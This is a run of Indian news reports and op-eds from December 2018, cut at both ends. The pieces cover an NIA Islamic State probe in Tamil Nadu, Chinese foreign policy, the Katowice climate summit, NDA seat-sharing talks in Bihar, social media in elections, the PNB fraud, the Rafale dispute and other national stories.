a significant development, the National Investigation Agency conducted searches at seven locations in Tamil Nadu in connection with an Islamic State related case. The NIA said that searches were conducted in three places each in Chennai and Coimbatore and one at District Villupuram. The main contention by the NIA is that seven persons who were arrested in connection with this case were defending radical Islam and were propagating about the same on the social media. The investigation into this case began with the arrest of five persons from Coimbatore. The ones to be arrested were Ashiq (25), Ismail (25) from Dindivanam, Salavuddin (25) from Otteri, Jafar Sadiq Ali (29) from Vyasarpadi near Chennai and Shamsuddin (20) from Pallavaram in Chennai. Ismail in his confession had said that Ashiq had promised them help for their operation. The NIA says that Ismail had links with the ISIS. The intention was to carry out a major operation on Ganesh Chaturthi. These developments are significant in the wake of the murders in Coimbatore.vMunnani spokesperson C Sasikumar in 2016 and an atheist H Farook in 2017 were murdered by radical Islamic groups. NIA officials tell OneIndia that the problem is a deep-rooted one. These persons are operating under the name of the Islamic State now. They are part of the same radical set up which has been propagating violent Islam. These operatives have been trying to propagate radical and violent Islam in several places at Tamil Nadu. Coimbatore, Cuddalore and Chennai are some of their key areas of operation. The first known ISIS recruit from India was in fact a resident of Cuddalore. Haja Fakkruddin, it may be recalled had in early 2014 left for Syria through Singapore to be part of the ISIS. This was followed by a series of events related to the group and there was an image on the social media that went viral, in which several youth were seen posing with ISIS merchandise. The threat of the ISIS has been looming large in the state and there are several pockets where the problem is severe. While looking into Hajas case, it was found that he was radicalised by a Cuddalore based group. Haja is not the only operative from Cuddalore to have joined the ISIS. A computer engineer was deported recently from Singapore. He said that it was he who had introduced Haja to this organisation, following which he was radicalised. During the various searches, literature relating to the ISIS had been found. Speeches of the 20th century Islamist thinker Abul Ala Maududi have been found in the possession of several youth. Further the police have also seized compact discs which had the speeches of radical elements such as Anwar Al Awlaki and Abdul Raheem Green. In its 2016 chargesheet, the National Investigation speaks about the role of Mohammad Naseer, a computer engineer in his mid 20s. Naseer was heading to Libya from Sudan, but was apprehended and later deported to India. He did his computer engineering from the MNM college in Chennai. It was at this time that he would visit a mosque at Chennai which was run by the Tamil Nadu Thowheed Jamath, non-political Islamic Organisation that preaches a puritanical version of Islam. This group was founded by P Jainul Abdeen in 2004, when he broke away from the Tamil Nadu Muslim Munnetra Kazhagam. The role of the ISIS in Tamil Nadu was unraveled in a big way in 2014. In August 2014, the police arrested Abdul Rahman and Mohammad Rizwan from the Ramnathapuram district on the charge that they were distributing t-shirts with the ISIS emblem. A photo showing 26 youth posing with the t-shirt in front of a Mosque at Thondi had surfaced on the social media. While the police were not able to find any direct link with the outfit, it however showed that the ISIS was gradually being received in the state. In Tamil Nadu, there are several groups which have been trying to wade off this threat. The high number of radicalisations in the state since early 2013 had left security agencies and many members of the Muslim community worried. Source : One India In 2018, the landmark Wuhan summit left a deep imprint on China-India relations. In April, Chinas President Xi Jinping and Indian Prime Minister Narendra Modi made a significant political decision: holding an informal summit in Wuhan for in-depth strategic communication. As a new form of China-India high-level engagement, the summit increased trust and understanding between the two countries and led bilateral relations on to a track of healthy and steady growth. China and India are each others important neighbours and the worlds two largest developing countries. Friendly exchanges and win-win cooperation between China and India will positively affect the evolution of a global landscape and human society. President Xi emphasised that the Chinese dragon and Indian elephant should join each other in a duet, not a duel. PM Modi responded that when India and China work together, 1+1 is not 2, but 11. China will continue to work with India to explore a path for two big neighbours to live side by side for win-win outcomes and contribute our due share to the progress and prosperity of Asia and the world. China also achieved all-round improvement and growth of our relations with other neighbouring countries. China-Japan relations were back on the right track; the traditional friendship between China and Democratic Peoples Republic of Korea (DPRK) was revitalised; and China-South Korea relations continued to grow steadily. The China-ASEAN comprehensive strategic partnership is maturing, with consultation on a code of conduct in the South China Sea on the fast track. Facing a new situation in the Korean peninsula, we encouraged the North and the South to seize the opportunity to improve relations, support the United States and DPRK in starting the process of settling the issue, and stay committed to preserving the hard-won momentum of de-escalation in the peninsula. The world in 2018 was full of uncertainty, a defining feature of the international landscape. The shift in balance of power accelerated, unilateralism and protectionism further developed, and the international system came under serious strain. Major-country competition intensified. Even as traditional hotspots remain unresolved, non-traditional security issues such as climate change and refugees cropped up. Xi made the judgement that Our world is experiencing profound changes unseen in a century. Over the past year, under the guidance of the Xi Jingping Thought on Diplomacy, we opened new prospects and achieved new progress. China has successfully held the Boao Forum for Asia annual meeting and the first China International Import Expo (CIIE). We safeguarded the multilateral free trade system and sent a strong message of opening up wider to the world. International cooperation on the Belt and Road Initiative entered the phase of solid progress and sustained growth, with more parties joining. Under the China-CELAC Forum, the China-Arab States Cooperation Forum and the Forum on China-Africa Cooperation, we held collective dialogues with almost all other developing countries across different continents. China and the United States effectively prevented further escalation of their trade frictions, China-Russia relations continued to grow at high level and China and Europe forged closer ties. At the Shanghai Cooperation Organization (SCO) Qingdao summit, member states spoke with one voice on major international and regional issues, making the SCO an anchor of stability in the world. At the G20 Summit, the APEC Economic Leaders Meeting and the BRICS summit, China stood up against protectionism and unilateralism, advocating inclusiveness and win-win results in multilateral discussions. In 2019, we will celebrate the 70th anniversary of the founding of the Peoples Republic of China. Looking ahead, we will focus on the following. First, ensure success of second Belt and Road Forum for International Cooperation and 2nd CIIE. Second, make multipronged efforts to advance friendship and cooperation with all countries, strengthen political trust with neighbours and expand cooperation and shared interests. Third, actively safeguard peace and stability in our region and beyond. Fourth, take an active part in shaping global governance. Fifth, make more active efforts to serve our domestic agenda of reform and development. We will continue to advocate the vision of a community with a shared future for mankind. We will stand firmly for the existing international order, participate constructively in settlement of hotspot issues, and deepen international exchanges on all fronts. These efforts will mark a new phase of major-country diplomacy with Chinese features. Wang Yi is foreign minister of the Peoples Republic of China The views expressed are personal In a media dominated age, no international conference is allowed to end in failure. The Katowice climate summit is no exception. Michal Kurtyka, the Polish President of the conference, admitted that finding global consensus on the issues discussed at the summit had been politically fraught, but claimed nonetheless that through this package, you have made 1,000 little steps forward together. The truth is the exact opposite. The Katowice summit was a resounding failure. The size of the failure has to be measured against the urgency of the challenge it refused to face. A bare six weeks earlier, the IPCC had warned that the world had to reduce net carbon emissions by 45% by 2030 and bring them down to zero by 2055, if it wanted to keep the planet livable in the 21st century. But the conference turned its back on the warning. There was no agreement on financing, and little of it even on the verification methods to be used for assessing claims of carbon reduction. even There was no consensus even on whether the conference should accept a reduction of the limit to global warming by 2100 from 2 degrees Celsius to 1.5 degrees Celsius. Why has the world buried its head in the sand ? The short answer is that it does not know what else to do. Nearly everyone is blaming US President Donald Trump, but his denial of climate change is only a brusque way of saying that he would rather not know about something that he cannot prevent. Emission reductions of this magnitude seem impossible because they can only be achieved by a rapid shift out of fossil fuels. But no one knows what to replace them with. This is not because renewable energy technologies that draw their power from the sun do not exist, but because none of the 24 climate summits held since 1994 ever discussed technology. The job of finding alternatives to fossil fuels was left to the free interplay of market forces. A Clean Development Mechanism was set up under the Kyoto Protocol to encourage the search for alternatives. But in the first 10 years of its existence it reduced greenhouse gas emissions by an estimated 1.58 billion tonnes. In the same period, human-induced CO2 emissions increased by 10 billion tonnes. Today it is apparent that the market has led us astray. The only renewable energy technologies that it has promoted vigorously are wind and solar photovoltaic power. This despite the common knowledge that these can only limit and not replace fossil fuels because they can neither supply guaranteed, round the clock power, nor the process heat that industry consumes in prodigious quantities. Had technology, and not target setting, been the focus of COP summits, the world would have known that technologies that can harness the energy of the sun for meeting all the three needs power, heat and transport fuels already exist and have been now refined to the point where they are fully competitive with fossil fuels. The two that can do so virtually without limit are Concentrated Solar Thermal (CSP), as opposed to photovoltaic (SPV) power, and biomass gasification, as opposed to fermentation. Far from being new, these have been in sporadic use for between four and ten decades. The first CSP power station that fed electricity into the grid came up in California in the 1980s. The first plant that turned municipal solid waste into methanol a clean and superior transport fuel came on stream in the USA in 1922! CSP power stations solved the problem of storing the energy of the sun at night in the late 1980s. The first power station to supply round-the-clock power to a small town near Seville in Spain came on stream in 2011 and has been doing so for seven years. The cost of generation from CSP plants has fallen almost as fast as that from photovoltaic plants. The most recent power purchase agreements for such plants have been signed in Chile and Dubai for 5 to 6. 7 cents per kwh. That is half the average cost of power in the US in 2017, which was 12.06 cents. What is more important, these are lower than the cost of power generation by new coal based power plants. So the way is now open for more governments to join the 30 countries have already agreed to put a ban the establishment of new coal based power plants. Most of the worlds attention has been focused so far on power generation. But there are now several proven, versatile, technologies that can also produce transport fuels and petrochemicals from literally any crop residue or waste biomass. They do this by first gasifying the biomass to obtain a mixture of carbon monoxide and hydrogen called synthesis gas, and then synthesise these into the desired fuel or petrochemical, using appropriate catalysts. Unlike solar thermal power, these technologies have not so far got off the ground because the investment in them, that has been planned repeatedly since the early 2000s, has been repeatedly postponed or abandoned because of steep, albeit temporary, falls in the price of oil and natural gas. These have made it impossible for the investors to get the long term purchase price agreements that will make their investment secure. To save the future, the world does not need carbon dioxide capture and removal. It does not need to pump sulphur dioxide into the atmosphere to reduce sunlight. It does not need hundreds of billions of dollars of subsidies for expensive renewable energy technologies. All it needs is a ban on the setting up of new coal-based power plants, and stable price agreements with producers of synthetic fuels that are linked to the long term average cost of oil and gas. These will suffice to make private capital flow as spontaneously into solar thermal and biomass energy projects as it is doing into wind and solar PV projects today. Prem Shankar Jha is a senior journalist and former member of energy panel of the World Commission on Environment and Development ( 1985-88) and the author of Dawn of the Solar Age: An End to Global Warming , and to Fear The views expressed are personal Kareena Kapoor Khan and Saif Ali Khans little son Taimur Ali Khan turns two on Thursday. The Bollywood couple with their son is currently in South Africa for the shoot of an advertisement. They will then celebrate Taimurs birthday with horse rides and big cats, as per a report in Mumbai Mirror. The unprecedented interest in Taimur has meant that his name has emerged as one of the top searches this year. A Yahoo report found Taimur among the top 10 most-searched Indians in 2018. Since his birth and through much of 2018, paparazzis obsession with the little boy reached a crescendo. Initially, reports suggest, Saif and Kareena had decided at the time of his birth in 2016 that they would not shield him from being photographed. In fact, some of his family members like Kareenas sister Karisma Kapoor and Saifs sister Soha Ali Khan have routinely posted pictures of the little munchkin. However, his soaring popularity ever since as toddler has meant that his every outing is eagerly followed. Taimur Ali Khan with his parents Kareena and Saif in Cape Town. (Viral Bhayani) Taimur with dad Saif in South Africa. (Viral Bhayani) Taimur Ali Khan with his dad Saif on their way to South Africa on Sunday. (Viral Bhayani) Saif, Kareena and Taimur together. (Viral Bhayani/Instagram) Taimur getting coached in badminton in Mumbai. Taimur with his parents at the wedding of Sonam Kapoor. From spottings across Mumbai, photographs from celebrations of various festivals and important days, family holidays, trips to his grandmothers home, his many play dates, life at his home in Bandra to going to his kindergarten, paparazzi has been everywhere to capture his many moods. Taimurs first horse ride. Taimur with his nanny Savitri. Taimur celebrates Independence Day at his home in Mumbai, accompanied with his nanny Savitri. (Viral Bhayani/Instagram) Taimur is indeed a darling as children are. Innocence is indeed very endearing. However, the best bit about him is that he comes across as a happy and interactive child. Recall the time when he was seen getting all excited on seeing the camera? His mother later clarified that he was excited to hear his name. And the time we first heard him speak? On being called Taimur repeatedly by paps, the little fella turned around and said, Its Tim. Only recently, while on his way to South Africa with his parents, on spotting photographers, he reportedly shouted media. Follow @htshowbiz for more The Allahabad high court on Thursday rejected a petition seeking permission to offer namaz at the disputed site in Ayodhya while imposing a fine of Rs 5 lakh on the petitioner saying the appeal was filed for cheap publicity. Justices DK Arora and Alok Mathur of the Lucknow bench of the high court passed the order on the petition of Al-Rahman Trust, which had requested the court to give permission to offer namaz at the disputed site. The court termed the petition as an attempt to gain cheap publicity and imposed a fine of Rs 5 lakh on the petitioner. The court directed district magistrate, Faizabad, to realise the fine amount if it is not deposited by the Trust. BJP boss Amit Shah is meeting Lok Janshakti Partys Ram Vilas Paswan and his son Chirag at his Delhi residence. The meeting comes a day after the Bihar politicians went public with their December 31 deadline to seal the NDAs seat-sharing arrangement for the 2019 elections in Bihar. Paswans party has been flexing its muscles over the delay and has attempted to pressurise the BJP to finalise the pact soon. Bihars animal husbandry minister and LJP leader Pashupati Kumar Paras had on Wednesday said that the BJP should call a meeting of NDA leaders and resolve the seat sharing issue. Calling for joint discussions, Paras, Paswans younger brother, had said, We want the seat sharing issue be resolved by December 31, as elections have come closer and a lot of preparation has to be done. Ahead of the meeting, Paswan had played down the issue and had said that there was no unhappiness. Koi narazgi nahi hai, Chirag Parliamentray Board k chairman hain, wahi is sambandh main baat karenge. (There is no unhappiness. Chirag is the Parliamentary Board chairman and he will talk about the issue), Paswan said. Seat sharing isnt the only bone of discontent that the LJP has against the BJP. Also read | Amit Shah holds meeting with select party leaders in Mumbai We flagged a number of issues; such as farm unrest, impact of demonetisation, jobs and many more, to BJP leadership, but, they have not taken note of it, a senior LJP leader said. The outcome of the recent elections has proved that these challenges are real and we cant ignore them. Paras ultimatum to the BJP came a day after Paswans MP son Chirag Paswan cautioned the BJP in two tweets saying that it should treat its allies with respect and that any delay in talks would hurt the NDA. Last month, Amit Shah had announced that the BJP and Nitish Kumars Janata Dal (United) would contest an equal number of seats and would leave the rest for other allies. Kushwahas RLSP was part of the NDA when Shah had made this announcement. Unhappy with this deal, Kushwaha walked out of the NDA on December 12. A broad agreement has been made that the BJP and the JD(U) will contest 17 seats each, and six will go the LJP. But we are waiting for a formal announcement, a second LJP leader said. Shah said in September that an announcement would be made in four weeks... Then we were asked to wait till Kushwahas decision. Then we were asked to wait till the results of the elections are out. It is already a week after that, this person added. Read | When country votes in a general election next year, it will be the worlds largest democratic exercise, and the biggest ever test of the role of social media in an election. As the ruling Bharatiya Janata Party (BJP) readies for battle with the newly energised Congress party-led opposition in the election that must be held by May, the role of Facebook, Twitter and WhatsApp could be crucial in deciding who wins. India already has close to 900 million eligible voters, and an estimated half-a-billion have access to the Internet. The country has 300 million Facebook users and 200 million on Facebooks WhatsApp messaging service - more than any other democracy. Millions use Twitter. Social media and data analytics will be the main actors in the upcoming Lok Sabha elections. Their use would be unprecedented as both parties now use social media, said Usha M. Rodrigues, a communications professor at Deakin University in Melbourne, Australia, whose research has focused on social media and Indian politics. The potential for abuse is also immense, with incendiary news and videos capable of fanning violence in the sprawling multi-religious and multi-ethnic nation. Fake news and messages circulated on social media have led to more than 30 deaths since last year, data portal IndiaSpend says, mostly rumours about child kidnapping gangs. Political differences have in the past been no less deadly. Social media discourse, already bitter, will turn bilious, Milan Vaishnav, a senior research fellow at the Carnegie Endowment for International Peace in Washington, said of the coming campaign for the general election. This month, Congress won elections in three major states that have been the bastion of the BJP, setting the stage for a tight contest in 2019. Helping the opposition party was a revamped social media strategy. WAR ROOMS At the last election in 2014, Congress was crushed by the techno-savvy Modi and his array of social media weapons, including a flurry of tweets from his personal account, a BJP campaign on Facebook and holographic displays of Modi in remote villages. Congress leader Rahul Gandhi got a Twitter account only in 2015. But the opposition party is catching up and the playing field has gotten a lot bigger. India now has 450 million smartphone owners against 155 million at the last election in 2014, according to Counterpoint Research. Thats more than the entire population of the United States, the crucible for election campaigns on social media. Reuters visited one of the hubs of Congresss online operations in Rajasthan, one of the three states it won this month - a drab three-bedroom apartment up a dimly lit staircase in the city of Jaipur. Inside, party workers tracked news channels and social media posts on a wall of television screens. A three-member team of audio, video and graphic experts designed campaign material that was posted to public websites, while other volunteers used WhatsApp to send instructions to party workers. We were kids back then, but we are going to outmanoeuvre them now, said Manish Sood, 45, who runs his own social media marketing business and was managing the Congress volunteers at the Jaipur war room. Still, fighting Modi online isnt easy. With 43 million followers on Facebook and 45 million on Twitter globally, he is among the worlds most followed politicians. Congresss Gandhi still only has 8.1 million followers on Twitter and 2.2 million on Facebook. A request by Reuters to visit the BJPs social media centre in Jaipur was declined, but a member of the partys Rajasthan state IT unit, Mayank Jain, said it ran similar social media operations from two city apartments. Congress understands social media a bit now, but they do not have the volunteer manpower, Jain said in an interview, showing dozens of BJP WhatsApp groups on his phone, one of which was named BJP RAJASTHANS Warriors. RISE OF WHATSAPP While Twitter and Facebook were embraced by politicians - mainly in the BJP - in 2014, its WhatsApp that has now become the social media tool of choice. In Jaipur city and the nearby town of Tonk, where traditional methods like public speeches and poster campaigns were widely used during the state poll, Congress and BJP party workers showed a Reuters reporter dozens of WhatsApp groups they were part of and used for campaigning. Congress said its volunteers managed 90,000 WhatsApp groups in Rajasthan, while the BJP said it controlled 15,000 WhatsApp groups directly, with its workers campaigning through roughly another 100,000 groups. But WhatsApp has been at the centre of controversy. After the false child kidnap messages were spread on the platform in India, it was flooded with falsehoods and conspiracy theories ahead of the October election in Brazil. WhatsApps end-to-end encryption allows groups of hundreds of users to exchange texts, photos and video beyond the purview of authorities, independent fact checkers or even the platform itself. WhatsApp is the biggest challenge for us right now on the social media front, said Nitin Deep Blaggan, a senior police officer in charge of monitoring online content in Jaipur. WhatsApp has limited the number of messages a user can forward in one go to 20 but in India specifically the ceiling was fixed at five. The company blocked hundreds of thousands of accounts in Brazil during the election period, and the same was expected ahead of Lok Sabha polls, a source aware of the companys thinking said this month. We have engaged with political organizers to inform them that we will take action against accounts that are sending automated unwanted messages, Carl Woog, WhatsApps head of communications, told Reuters in a statement. He did not name any parties. A Facebook spokeswoman said the company was committed to maintaining elections integrity and making efforts to weed out false news. Twitter said it had made efforts to protect the electoral process and better detect and stop malicious activity. During the Rajasthan election, police ran a 10-man social media monitoring unit, tracking tweets and Facebook posts related to the state polls. Inside the monitoring room, the posts were shown on wall-mounted screens and automatically filtered into neutral, positive or negative sections. The negative posts received special attention - they were manually checked and, sometimes flagged to senior police officers for further investigation and action. The sole aim, members of the monitoring team said, was to ensure that no online post spilled into violence. One of the posts flagged by police when Reuters visited was a video from a Congress leaders rally where people appeared to be shouting slogans in favour of Pakistan, Indias old enemy. Congress nearby war room had already debunked the video they said was doctored. Within hours, party workers posted what they said was an original video, that showed that nobody shouted such slogans at the rally. With Assembly elections in five states over, the Congress and some Opposition parties are set to initiate the preliminary seat-sharing talks in key states. Big states such as Bihar, Uttar Pradesh, Maharashtra, Tamil Nadu and West Bengal may see electoral joint ventures between different Opposition combinations and talks on the contours of the partnership have already begun or soon will. A Congress leader familiar with the developments in Bihar said party chief Rahul Gandhi is likely to discuss the issue with Rashtriya Janata Dal (RJD) leader Tejashwi Yadav, Rashtriya Lok Samata Party (RLSP) president Upendra Kushwaha and Jitin Ram Manjhi of the Hindustan Awam Morcha . The four are likely to meet in Delhi, maybe even as early as Thursday. On Wednesday, the Congress also started talks with its long-time partner in Maharashtra, the Nationalist Congress Party of Sharad Pawar. It is also expected to discuss partnerships with the Telugu Desam Party in Andhra Pradesh and the National Conference in Jammu & Kashmir. Asked about the talks with other opposition parties on state-specific alliances , Congress spokesperson Abhishek Manu Singhvi said everybody realises the importance of minimising and preventing vote division to defeat the BJP. These are early days. We are in December. You have to wait for the story to unfold in January and February. I think it is premature to come to any conclusion yet. The Congress is certainly keen and ready to be part of any secular, non-communal, reasonable alliance, understanding, adjustment provided it is respectable ...and thirdly is effective in preventing a vote division , Singhvi said. CPI (M) general secretary Sitaram Yechury is also keen to minimise the fragmentation in Opposition vote. We have asked our state units to give their views on the issue, he said. The recently concluded Central Committee meeting also concluded that its main task is to defeat the BJP alliance; increase the strength of the CPI(M) and the Left in the Lok Sabha ; and ensure that an alternative secular government is formed at the Centre. A top CPI(M) leader indicated that preliminary talks will start in Bihar for seat adjustment with the Congress and RJD. Similarly, it is in touch with the Congress for a seat adjustment in West Bengal and with the DMK in Tamil Nadu. The DMK has already articulated its intent of forming a partnership with the Congress and the CPI(M) in the state. The party will also fight in a seat or two in Uttar Pradesh, but we dont see much chance of a seat adjustment with Mayawati (of the Bahujan Samaj Party) or Akhilesh Yadav (of the Samajwadi Party), Yechury added. Uttar Pradesh could prove a puzzle for the Congress, with speculation (but no confirmation) that the BSP, SP, and the Rashtriya Lok Dal are close to finalising an alliance minus the Congress. Regarding Uttar Pradesh, Singhvi pointed out that These are hard issues of logical concentration. They take time...if things dont turn out, were a national party and weve fought elections on our own (before). ...Just 3 months are left before the poll. The Opposition parties must reach an understanding and showcase unity before they project their anti-BJP narrative... seat adjustment will be extremely difficult in UP and West Bengal, said Kay Benedict, a Delhi-based political commentator. A day after National Democratic Alliance (NDA) constituent Lok Janashakti Party (LJP) served an ultimatum to the Bharatiya Janata Party (BJP) to finalise seat sharing agreement in Bihar by December 31, top leaders of the two parties held a meeting on Thursday to iron out differences that triggered speculation about the fate of NDA in the heartland state. BJP general secretary Bhupendra Yadav, who is also the partys in-charge for Bihar, visited Ram Vilas Paswan at his official residence around 4 pm and held talks with the LJP chief and his parliamentarian son, Chirag Paswan, for over 30 minutes. The three leaders then left for BJPs chief Amit Shahs residence for second round talks, which continued for more than two hours. The meeting was attended by finance minister Arun Jaitley too. Both sides have agreed to stay together and work closely with each other for victory in 2019, a leader privy to the meet said. Earlier in the day, Paswan told reporters at Parliament complex that there was no unhappiness and his son, who is LJPs parliamentary board chairman, will speak on seat sharing. A couple of tweets by Chirag on Monday, claiming that seat sharing talks have not progressed beyond a point, and a statement by him on Tuesday saying there has been positive changes in Rahul Gandhi and the opposition successfully raised some issues in polls, triggered speculations. Also read: Others will face same arrogance: Upendra Kushwahas new dig at BJP is a warning to NDA allies Shah announced last month that BJP and Nitish Kumars Janta Dal (United), which returned to NDA last year, will contest equal number of seats. He did not disclose the number, but leaders in the two parties claim BJP and JD(U) will contest 17 seats each. This formula leaves the LJP with six seats, which is one less than its 2014 share. After Upendra Kushwahas exit from the NDA, LJP is expecting that it will at least get seven seats to contest and an RS berth for senior Paswan, a nine-term member of Lok Sabha who wishes to shift to the upper house of Parliament owing to health issues. Sources said LJP has also sought seats in UP, Jharkhand and Punjab, states which has significant population of Scheduled Castes. But BJP has remained non-committal to this. An LJP leader said Chirag has written to Jaitley and agriculture minister Radha Mohan Singh, seeking clarification on demonetisation and farm distress. According to leaders aware of the developments, Jaitley will again discuss seat-sharing issues with Nitish Kumar, who is reaching Delhi on Friday, and Paswan. The LJP is ready to leave its claim on one LS seat if Paswan is given an RS berth from Assam. An announcement is expected before December 31. A 42-year old British woman was allegedly raped and robbed on her way back from the railway station at Goas southernmost tehsil of Canacona in the wee hours of Thursday. According to the police, the woman was on her way home at 4:30 am to Palolem beach village when the incident took place. Her train was delayed, because of which she decided to head home, Rajendra Prabhudesai, police inspector at the Canacona police station said. We have booked a case against unknown persons. We have some clues and are working on rounding up the suspects, he added. The womans complaint revealed she was waylaid and attacked before being raped. According to the police, the woman first made her way to a friends house before bringing the incident to the notice of police. In March 2017, a young Irish tourist Danielle McLaughlin was raped and brutally murdered in the same Palolem village. The police arrested local resident Vikat Bhagat who admitted to raping and murdering Danielle by striking her head with a stone. Also Read: 245 deaths in 12 years: Whats killing foreign tourists in Goa? In 2015, a twenty-two-year-old Finnish national, was found dead with multiple skull fractures and brain haemorrhage on an interior road in Canacona, South Goa. The Canacona police concluded that Felix fell by himself and died an accidental death. But, after appeals from the family, the Bombay high court at Goa pulled up the Goa Police for what it said was a faulty and prejudiced investigation and meandering towards a predetermined end. The High Court handed the case to the CBI which in August this year began probing the case. SHARE THIS ARTICLE ON The Central Bureau of Investigation (CBI) on Wednesday got the custody of the 10 accused arrested in connection with an alleged Rs 9.09-crore fraud involving fraudulent letters of undertakings (LOUs) issued by officials of the Punjab National Bank (PNB) to directors of a private company. The case is similar to the Nirav Modi-Mehul Choksi fraud involving the same bank. A special CBI court remanded the accused in CBI custody till December 21. The CBI arrested eight officials of PNB Sanjay Kumar Prasad, then head of PNBs Brady branch office, and currently DGM at PNB in New Delhi; Amar Jadhav, Sagar Sawant and Manoj Kharat, the then single window operators; Bechu Bansi Tiwari, the then chief manager of the banks foreign exchange department; Yashwant Joshi, the then manager of the foreign exchange department; Prafful Sawant, the then officer of the department and Mohinder Kumar Sharma, the then chief internal auditor on Monday and Tuesday. The agency also arrested Ishwardas Agarwal and Aditya Rasiwasia, both directors of M/s. Chandri Paper & Allied Products Pvt. Ltd. As per the CBIs submission, the accused have issued fraudulent LOUs to the accused company M/s. Chandri Paper & Allied Products Pvt Ltd for wrongful gain. The LOUs were issued without the credit limit and no 110% margin was provided by the company. The CBI has alleged that Kharat, in conspiracy with Rasiwasia and Agarwal, cheated the bank to the tune of Rs 9.09 crore by issuing two fraudulent LOUs. As per CBI counsel Om Prakashs submissions before the court, Kharat issued the unauthorised LOUs by using the SWIFT ID in favour of two banks in Sydney in Australia and Antwerp in Belgium. Kharats defence advocate Sandeep Bali however argued, He [Kharat] has been arrested previously in the case and is currently out on bail. The investigation has been conducted by the CBI, so there is no necessity of him being re-arrested. The entire case is based upon documents which are in CBIs custody. There is also no monetary gain for him as he was appointed as a clerk and was only performing duties based on instructions given. The CBI also alleged that Tiwari did not ensure the implementation of the Foreign Exchange Circular and abused his official position as a public servant. The central agency has accused Joshi of not monitoring SWIFT transactions. Hamid Nihal Ansari, who returned to India after spending six years in a Pakistani jail, reached his home state Maharashtra on Thursday where he was welcomed by friends and family. I want to celebrate with my family, after that I will start looking for a job and only then will I marry and settle down, Ansari told reporters at Mumbai airport. Hamid Ansari said that he had learnt three lessons in the past six years -- dont trust anyone on Facebook, dont lie to your parents and believe in your government. When asked about the torture he faced in Pakistan jail, Ansari said that he did not want to look back and wanted to move on . Ansari (33), a software engineer, was arrested in Pakistan in 2012 for illegally entering the country from Afghanistan, reportedly to meet a girl he had befriended online. Authorities in Pakistan had slapped charges of espionage on him. A resident of Versova, Ansari earlier told reporters he wanted to meet the girl because she was in distress. She asked for help and I started hunting for a visa. There were people from Pakistan who posed as friends and said they would help. I thought from the heart and not from brain. They asked me to come through Afghanistan. They kept fake IDs and documents in my pocket, he told the channel. Hamid Nihal Ansari, who spent six years in Pakistan jail, outside his home in Mumbais Versova. He arrived in Mumbai on Thursday. (Satyabrata Tripathy/HT Photo) He said there were policemen waiting for him before he reached the girls house and arrested him. The moment I got arrested I thought I was doomed. That moment I thought I was never going to go home but then as time went by I started getting hope that I would go home, he said The first three years I spent underground alone, sometimes they would give me food, and sometimes they wouldnt. I had this motivation that I have to go back home and serve my parents. I have given them a huge pain and this will be my repentance. This is the least I can do, he said in the interview, reports news agency PTI After six years, when I saw them (his family) I was still in Pakistan. They were crying and spreading their arms while Pakistani authorities were completing paperwork with me and I kept asking them to speed up. I just ran towards them (family) and fell on my knees, Ammi mujhe maaf kar de. I was asking for forgiveness from everyone, he told India Today in an interview. The Mumbai resident, who returned to India after crossing the Wagah-Attari border, was imprisoned in the Peshawar Central Jail after being sentenced by a military court on December 15, 2015. Early Wednesday, Ansari had an emotional interaction with External Affairs Minister Sushma Swaraj as tears rolled down his cheeks while narrating his ordeal. Officials said Ansari became emotional while explaining the difficult phase he had to endure in Pakistan. According to official sources, India issued 96 notes verbales to Pakistan seeking consular access to Ansari. The decision to release him was on account of relentless pressure from New Delhi, they said. (With PTI inputs) A day after Indian Air Force (IAF) chief BS Dhanoa called Rafale a game changer and the Supreme Court verdict on the deal a very fine judgment, senior Congress leader M Veerappa Moily on Thursday accused him of lying. The remarks triggered a controversy with the ruling Bharatiya Janata Party (BJP) saying the Congress was shattered by the speed of various probes into its corruption. Today, to say it is fine [the Supreme Court judgment]...I think that IAF chief is not fine....he is not fine, he is lying. He is suppressing the truth. He is a party to suppressing the truth, Moily told reporters in Hyderabad, in a rare attack by an Opposition leader against a serving chief. The statement is unfortunate. This shows that their [Congress partys] desperation is complete, and they are totally shattered by the speed of inquiry against corruption, Union minister Prakash Javadekar said at a press conference. I havent seen what Moily ji has said. As far as the Air Chiefs statement is concerned, thats our question as well. We know that UPA [United Progressive Alliance] chose the best fighter aircraft and it was on the basis of urgency that 126 planes were recommended by IAF. Our question is if they really got a cheaper deal then why they [the NDA] bought only 36 and not 126 aircraft? And Im not even mentioning the transfer of technology which was the one of the most valuable component of the previous deal that this government squandered [on], Congress spokesperson Pranav Jha said. Dhanoa on Wednesday hailed the Supreme Court order and deprecated attempts at politicising defence purchases, suggesting that this had earlier led to the delay in the army acquiring the Bofors gun. I am not going to comment on the judgment but the Supreme Court has given a very fine judgment. It has also said that this plane is badly needed, he told reporters in Jodhpur. Moily demanded an apology from Prime Minister Narendra Modi for having sacrificed the security of the nation by entering into the deal. He said Congress president Rahul Gandhi, who has been assailing the Prime Minister over the deal, need not apologise or the bold stand he has taken on the scam of the century as demanded by BJP parliamentarians (including in the Lok Sabha where they have been flashing placards to the effect). Instead, Gandhi should be appreciated, Moily said. The BJP has been demanding an apology from Gandhi for attacking Modi over the Rafale deal even after the Supreme Courts verdict found no wrongdoing in it. Even the words expressed by the Supreme Court you have heard are based on falsehood and web of lies made by the Government of India, the Congress leader said. Sniffing an electoral opportunity in the Rafale deal, the Congress has been relentlessly keeping up the heat on the Rafale contract. The deal has become controversial on account of the fact that one of the offset contracts signed by Dassault is with the Reliance Group of Anil Ambani. The Congress claims the earlier deal was scrapped and a new one signed just to provide Ambani this opportunity for an offset deal. Both the government and Reliance have repeatedly denied this. On December 14, the Supreme Court ruled there was no need for an investigation into the deal, saying there was no evidence of wrongdoing. We dont find any material to show it is commercial favouritism, Chief Justice Ranjan Gogoi said while rejecting petitions calling for a court-monitored probe. The Congress and NCP are yet to iron out differences over a few key Lok Sabha seats in Maharashtra in their seat-sharing talks, sources from both the parties said late Wednesday night. The state leaders of the two parties held another round of talks Wednesday, in which no consensus could be reached regarding seven to eight seats, sources said. Maharashtra Congress chief Ashok Chavan said the contentious issues will be sorted out soon. We discussed today how to accommodate smaller partners in the grand alliance. We are meeting leaders of CPI, CPM and Swabhimani Shetkari Sanghthana tomorrow, he said. Over two months after Apple executive Vivek Tewari, 38, was shot dead by constable Prashant Chowdhary in Lucknow, investigators have found that the cop had opened fire without any provocation. In its 16-page report submitted to the DGP headquarters on Wednesday, the seven-member special investigation team (SIT), led by IG (Lucknow range) Sujeet Pandey, has found that Chowdhary had shot Tewari dead without any immediate threat to his life. Chowdhary has been found guilty of murdering Tewari without any provocation. Investigation has revealed that the second constable had no common intention to kill Tewari, IG Sujeet Pandey said. He added that the incident was not a pre-planned criminal conspiracy but happened on the 